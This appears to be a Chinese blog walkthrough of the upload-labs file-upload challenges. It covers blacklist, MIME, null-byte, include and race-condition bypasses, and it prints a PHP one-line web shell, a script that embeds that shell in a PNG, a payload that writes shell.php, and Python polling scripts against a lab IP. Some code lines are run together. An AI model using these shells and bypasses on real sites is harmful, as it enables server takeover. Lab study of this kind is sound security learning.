Pass-01(JS前端验证)
方法一:删除JS验证
方法二:先上传符合要求的图片 再在burp里面修改后缀即可
Pass-02(MIME验证)
前置知识$_FILES
Pass-03(php3、phtml绕过黑名单)
Pass-04(.htaccess绕过黑名单)
前置知识 .htaccess
思路一
思路二
思路三
编辑
Pass-05(.user.ini黑名单)
前置知识 .user.ini
思路一
注意:这里要修改php.ini配置文件
思路二
Pass-06(大小写绕过黑名单)
Pass-07(空格绕过黑名单)
Pass-08(点绕过黑名单)
Pass-09(::$DATA绕过黑名单)
Pass-10(点空格点绕过黑名单)
编辑Pass-11(双写php绕过黑名单)
Pass-12(%00截断白名单)
这里就要用到0x00截断的知识
Pass-13(0x00截断白名单)
Pass-14(文件包含+图片马)
Pass-15(文件包含+图片马)
Pass-16(文件包含+图片马)
Pass-17(二次渲染+图片马/条件竞争)
函数介绍
imagejpeg()
说明
参数
返回值
思路一
思路二
Pass-18(条件竞争)
Pass-19(条件竞争+白名单+其他漏洞配合)
思路一
注意Apache未知后缀名解析漏洞适用 php ts 版本
思路二
非预期解
Pass-20(黑名单+上传路径可控)
思路一
思路二
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
Pass-21(MIME验证+白名单+上传路径可控)
防御手段
环境要求
若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。
配置项 配置 描述
操作系统 Window or Linux 推荐使用Windows,除了Pass-20必须在linux下,其余Pass都可以在Windows上运行
PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破
PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件
中间件 设置Apache以moudel方式连接
然后找到上传的文件地址 右键新建标签打开或者F12找到地址访问即可

效果如下

阅读代码
$is_upload = false;
$msg = null;
# 判断是否点击了提交按钮
if (isset($_POST['submit'])) {
# 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
if (file_exists(UPLOAD_PATH)) {
# 对数据包的MIME进行校验
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
# 拼接了../upload/xxx.xxx
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
# 将上传的临时文件移动到目录../upload/xxx.xxx
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
# 移动文件出错
$msg = '上传出错!';
}
} else {
# 不符合MIMIE类型就报错
$msg = '文件类型不正确,请重新上传!';
}
} else {
# 文件路径不存在
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
用burp抓包修改conten-type即可


我这里要么是403forbidden的 要么是不解析php3等文件
不知道为什么 防火墙和wd都是关闭的 搞了好久都不行
所以用了buuctf的靶场



nts的版本:失败

nts版本会报500 服务器内部错误
然后访问readme.php 效果如下 也可以用一句话木马

php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚




阅读代码 关键代码如下
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}
发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名
只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空
但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符 因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php
pphphp、phphpp都可以尝试




利用文件包含漏洞 将含有php代码的图片马当做php文件解析
文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写
这里利用get传参 将图片木马里面的代码复制过来并执行

include.php?file=upload/7920221011132540.png
没啥区别 只是换了函数 需要开启php_exif模块。
做法和第14关相同
png
网上找的代码直接生成 直接运行php脚本自动生成png文件 然后直接上传就完事了
内含一句话木马<?=$_GET[0]($_POST[1]);?>
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./exp17.png');/*
<?=$_GET[0]($_POST[1]);?>
*/?>
访问url
http://192.168.114.200/upload-labs-master/include.php?file=upload/13083.png&0=phpinfo


jpg比较困难 这里略
思路二
条件竞争
由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码
由于他先上传 然后又原封不动的保存我们上传的文件 所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件
但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了
代码如下 插入到png图片中即可
<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>
所以需要一边不停用burp不停地上传 然后另一边不断的访问 访问的文件需要有写的权限 不然还是不行 还好这里靶场
访问的py脚本如下 不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种
import requestsurl = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
while True:
html = requests.get(url)
if ('Warning' not in str(html.text)):
print('ok')
break
else:
print("发包中")
然后用burp的Intruder模块不停的发包就行了


两边同时运行就行了

然后查看我们的文件夹 发现有shell.php就成功了

py脚本如下
import requestsurl = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("发包中")
burp不断发包



成功

访问shell19.php

PS:其实你上传任何白名单的后缀都可以 包括图片等等 如果有时间的话我会研究一下漏洞的底层原因
思路二
白名单+条件竞争+文件包含漏洞
通用于php的nts和ts版本 因为是文件包含
py脚本代码如下:
import requestsurl = "http://192.168.114.200/upload-labs-master/include.php?file=upload/19.jpg"
while True:
html = requests.get(url)
if ('Warning' not in str(html.text)):
print('ok')
break
else:
print("发包中")
剩余操作和第17、18关一样
思路二

当然你也可以使用apache未知后缀名的解析漏洞 记得设置 phpts版本 中间件 设置Apache以moudel方式连接


防御手段
白名单+二次渲染+随机文件夹+随机文件名+变态WAF+无敌杀毒软件

发表评论 取消回复